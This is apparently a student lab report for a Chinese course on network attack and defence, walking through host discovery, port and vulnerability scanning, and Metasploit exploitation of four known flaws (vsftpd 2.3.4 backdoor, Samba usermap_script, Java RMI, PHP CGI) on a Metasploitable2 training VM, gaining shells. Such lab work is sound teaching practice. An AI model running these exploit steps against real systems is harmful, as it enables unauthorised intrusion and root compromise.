20232304 2025-2026-1 《网络与系统攻防技术》实验六实验报告

20232304 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

1.对给定Metasploitable2靶机进行发现,以及端口和漏洞扫描;

2.通过下面四个漏洞的渗透攻击从而掌握Metasploit的用法:

  • Vsftpd源码包后门漏洞;

  • Samba MS-RPC Shell命令注入漏洞;

  • Java RMI SERVER命令执行漏洞;

  • PHP CGI参数执行注入漏洞。

2.实验过程

2.1 前期渗透

2.1.1 主机发现

我们首先在给定的Metasploitable2主机上获取IP地址,以便于后期进行扫描,如图所示:

501f0657a71e7d972dc9efa974da1055

可以看到,靶机的IP地址为192.168.179.142

我们在Metasploit中搜索ARP扫描模块arp_sweep并使用它,设置远程主机地址RHOSTS为给定的靶机IP网段即可,所输入的具体命令如下:

msfconsole  #打开Metasploit
search arp_sweep  #搜索ARP扫描相关辅助模块
use 0 #使用搜索结果中的第一个模块
set RHOSTS 192.168.179.0/24  #扫描虚拟机所在的网段
run  #开始扫描

扫描结果如下所示:

1c0da435dbc9e2b1cf44451d831249b0

可以看到,靶机在线并且给出了其网卡标识为VMWare,Inc.,证明这就是一台VMWare虚拟机。

2.1.2 端口扫描

2.1.2.1 使用Nmap进行扫描

在Windows主机或Kali Linux主机上均可,运行下面命令来进行对靶机进行端口扫描和版本探测

nmap -sS -sV 192.168.179.142

扫描结果如下图所示:
4a1dad6c4a4527eec4d7042dffcedaf3

2.1.2.2 使用Metasploit中的PortScan辅助模块进行扫描

在Metasploit控制台上输入以下命令:

use auxiliary/scanner/portscan/tcp   # TCP端口扫描模块
set RHOSTS 192.168.3.41    # 设置目的IP
set THREADS 10   # 并发线程数,提升扫描速度
run   # 开始扫描

扫描结果如下图所示:

ca8335f495763eb941a931c54eef2c78

对各端口的服务列表如下:

端口/协议 服务名称 主要功能 已知安全风险与漏洞
21/tcp FTP 文件传输协议,用于在网络上传输文件。 严重风险:此特定版本(vsftpd 2.3.4)存在著名的后门漏洞。协议通常以明文传输凭证,常存在匿名访问弱口令问题。
22/tcp SSH 加密的远程登录与管理协议,用于安全地访问服务器命令行。 高风险:版本非常老旧,可能存在未公开漏洞。常见威胁包括暴力破解(针对弱口令)。
23/tcp Telnet 早期的远程终端登录服务,允许用户通过网络在命令行界面控制主机。 极高风险:协议完全不加密,所有通信(包括用户名和密码)均以明文传输,极易被窃听。
25/tcp SMTP 简单邮件传输协议,负责发送和转发电子邮件。 中风险:配置不当可能被滥用于发送垃圾邮件。也可能存在用户枚举漏洞(如VRFY命令)。
53/tcp Domain (DNS) 域名解析服务,将域名转换为IP地址。 版本较老,若配置不当,可能面临DNS劫持、缓存投毒等威胁。
80/tcp HTTP Web服务,用于提供网站访问。 高风险:Web服务器版本老旧,可能存在目录遍历、代码执行等已知漏洞。是常见的网络攻击入口。
111/tcp rpcbind 远程过程调用(RPC)端口映射器,用于管理RPC服务与端口的对应关系。 可能暴露系统运行的RPC服务信息,成为攻击者枚举内部服务的入口。旧版本存在拒绝服务漏洞。
139/tcp, 445/tcp SMB 网络文件共享协议,允许网络中的计算机共享文件、打印机等资源。 严重风险:易受“永恒之蓝”(MS17-010)等漏洞攻击,导致远程代码执行。常见弱口令未授权访问问题,可能导致敏感信息泄露。
512/tcp, 513/tcp, 514/tcp rexec, rlogin, rsh 一组旧的远程命令执行服务,合称"r-services"。 高风险:依赖IP地址进行信任认证,安全性极差。通常以明文方式通信,易被劫持和窃听。
1099/tcp java-rmi Java远程方法调用,用于实现分布式Java应用。 若配置不当,可能允许未经授权的远程代码执行。
1524/tcp bindshell 后门程序,监听端口并为连接者提供一个具有root权限的Shell。 极端危险:这是一个故意留下的后门,攻击者无需认证即可直接获得系统的最高控制权
2049/tcp NFS 网络文件系统,允许在网络上共享目录和文件。 高风险:若导出目录配置为no_root_squash,可能导致权限提升。未授权访问可能导致敏感信息泄露。
2121/tcp ccproxy-ftp? 可能存在FTP代理或文件传输服务。 服务版本不明确,需进一步探查。代理服务若配置不当可能被滥用。
3306/tcp MySQL 关系型数据库服务,用于存储和管理应用程序数据。 高风险:数据库版本老旧,存在已知漏洞。若配置弱密码或权限不当,可导致数据被窃取或篡改
5432/tcp PostgreSQL 关系型数据库服务。 高风险:存在未授权访问弱口令等风险。
5900/tcp VNC 虚拟网络计算,提供图形化远程桌面控制。 高风险:若未设置强密码或存在认证漏洞,攻击者可远程控制图形化界面
6000/tcp X11 X Window系统的显示服务。 访问被拒绝,但若配置错误开放访问,可能带来截屏、键盘记录等风险。
6667/tcp IRC 互联网中继聊天协议,用于在线实时通信。 高风险:此IRC服务(UnrealIRCd)版本历史上存在远程代码执行后门
8009/tcp ajp13 Apache JServ协议,通常用于Web服务器(如Tomcat)与后端Java应用服务器的通信。 若暴露在外网,可能成为攻击Web应用栈的入口。
8180/tcp HTTP (Tomcat) Apache Tomcat Web服务容器。 高风险:Tomcat管理界面若存在弱口令或配置错误,可能导致未授权访问和代码部署。

2.1.3 漏洞扫描

在Windows或Kali Linux主机上运行以下命令使用Nmap运行漏洞扫描:

nmap -script=vuln 192.168.179.142

扫描结果如下所示:

**vsFTPd 2.3.4 后门漏洞 **

e9b4ce0b96a505331988ab036bf8306c

  • 漏洞端口:21/tcp (FTP 服务)
  • 风险等级严重 - 可直接获取系统最高控制权。
  • 漏洞描述:这是著名的 vsFTPd 2.3.4 后门漏洞。攻击者可以通过在用户名中嵌入特定字符(如 :))来触发该后门。扫描结果已经成功利用此漏洞,并返回了 uid=0(root) gid=0(root),这证明攻击者无需密码即可获得一个具有 root 权限的命令行 shell,完全掌控目标系统。
  • 状态VULNERABLE (Exploitable)- 已确认存在且可被利用。

**SMTP 服务的多重加密漏洞 **

fca8075f6c78d51cbbdbce5b983bc887

  • 漏洞端口:25/tcp (SMTP 服务)
  • 风险等级 - 导致通信被窃听或篡改。
  • 漏洞描述:该SMTP服务存在一系列严重的SSL/TLS加密协议漏洞,包括:POODLE漏洞:允许攻击者解密加密连接,窃取敏感信息。匿名Diffie-Hellman密钥交换:无法验证通信双方身份,易遭受中间人攻击。DHE_EXPORT 加密套件降级:可被强制使用弱加密(512位),易于破解。弱Diffie-Hellman参数:使用1024位的弱密钥,可能被破解。
  • 影响:利用这些漏洞,攻击者可以解密邮件内容或篡改通信数据。

Web 服务的应用层漏洞

76d95cb2e5c8b0878806062886644e2c

  • 漏洞端口:80/tcp (HTTP Web 服务)
  • 风险等级中高 - 可导致数据泄露、权限提升或服务瘫痪。
  • 漏洞描述:目标Web服务器存在多种应用级安全威胁:Slowloris 拒绝服务:攻击者可通过保持大量半开放连接来耗尽服务器资源,使其无法响应正常用户请求。跨站请求伪造:发现多个可能的CSRF漏洞点(如在DVWA、Mutillidae等应用中)。攻击者可诱骗已登录用户执行非本意的操作(如修改密码、转账)。SQL注入:扫描器探测到大量可能的SQL注入点,攻击者可通过构造恶意参数窃取或破坏数据库内容。
  • 影响:网站数据泄露、用户账户被劫持、服务中断。

Java RMI 远程代码执行漏洞

dc1880bc8dffb3de67e25bf35fe82364

  • 漏洞端口:1099/tcp (Java RMI 注册表)
  • 风险等级 - 可导致远程代码执行。
  • 漏洞描述RMI注册表服务采用了不安全的默认配置,允许从远程URL加载Java类。攻击者可以搭建一个恶意的HTTP服务器,托管精心构造的Java类文件,然后通过RMI请求诱导目标服务器加载并执行该恶意类,从而在目标系统上运行任意代码。
  • 状态VULNERABLE- 已确认存在。

PostgreSQL 数据库的加密漏洞
5b62e9961319f894eff53d8e728c3e6b

  • 漏洞端口:5432/tcp (PostgreSQL 数据库)
  • 风险等级 - 导致数据库通信被窃听或篡改。
  • 漏洞描述:该数据库服务同样存在两个关键加密漏洞:弱Diffie-Hellman参数:与SMTP服务类似,使用1024位的弱密钥,易受攻击。SSL CCS 注入漏洞:这是一个严重的中间人攻击漏洞,允许攻击者注入恶意指令,破坏SSL/TLS连接的安全性,可能解密或篡改客户端与数据库之间的通信。
  • 影响:数据库凭证、查询内容、敏感数据可能被窃取。

**IRC后门与Web管理界面问题 **
e8cad80697b5195a0f9177fe959430d3

  • 漏洞端口:6667/tcp (IRC 服务) 及 8180/tcp 等 (Web 服务)
  • 风险等级中高 - IRC后门风险极高,Web问题为后续攻击提供便利。
  • 漏洞描述UnrealIRCd 后门:扫描器提示“Looks like trojaned version of unrealircd”,表明该IRC服务可能含有后门,连接后可通过特定命令获取系统权限。Cookie 安全标志缺失:多个管理界面的 JSESSIONIDCookie 未设置 HttpOnly标志,这增加了被跨站脚本攻击窃取会话Cookie的风险。暴露的管理界面和文件上传点:扫描器枚举出了大量可能的管理后台路径和文件上传功能,这为攻击者进行密码爆破或寻找文件上传漏洞提供了明确的目标。

2.2 漏洞利用

2.2.1 Vsftpd源码包后门漏洞(21端口)

由于我们在漏洞扫描中已经验证过Vsftpd版本,所以我们这里直接进行攻击。

在Kali Linux主机的Metasploit 控制台中输入以下命令:

use exploit/unix/ftp/vsftpd_234_backdoor  #使用对应漏洞
set RHOST 192.168.179.142  #设置攻击主机
exploit   #开始攻击

攻击结果如下:
3acc1d952b680874b92be66d09ffc538

可以看到,成功获取了root权限的shell。

2.2.2 SambaMS-RPC Shell命令注入漏洞(端口139)

在Kali Linux主机的Metasploit 控制台中输入以下命令

use exploit/multi/samba/usermap_script #选择漏洞
set RHOST 192.168.179.142 #设置要攻击的机器IP
exploit #开始攻击

攻击结果如下:

ce0d91308eccb1b8826c99ec935501e3

可以看到,成功获取了root权限的shell。

2.2.3 Java RMI SERVER命令执行漏洞(1099端口)

在之前端口扫描的时候我们已经发现1099端口处于打开状态,所以我们直接进行攻击

在Kali Linux主机的Metasploit 控制台中输入以下命令:

use exploit/multi/misc/java_rmi_server
set RHOST 192.168.179.142 #设置要攻击的机器IP
exploit   #开始攻击
shell 

攻击结果如下:
9a885c97c7f53816b047c81e7d216127

可以看到,成功获取了root权限的shell。

2.2.4 PHP CGI参数执行注入漏洞(80端口)

在Kali Linux主机的Metasploit 控制台中输入以下命令:

use exploit/multi/http/php_cgi_arg_injection #选择漏洞

set RHOST 192.168.179.142 #设置要攻击的机器IP

exploit  #开始攻击

攻击结果如下:

4d9e93e0d59e621741c072e2f84d835c

可以看到,成功获取了一个shell,但是不是root用户,是创建该服务的用户www-data

3.学习感悟、思考等

这次实验内容难度不大,主要难点其实在之前的实验中已经都解决掉了,所以我们需要做的就是运行几个命令截一下图而已。

实验内容虽然难度不大,但是背后的原理却并不简单,我认为目前只掌握实验的这些部分对我们来说是完全不够的,需要我们日后再精细的研究背后的原理。

posted @ 2025-11-13 22:10  20232304冯天悦  阅读(0)  评论(0)    收藏  举报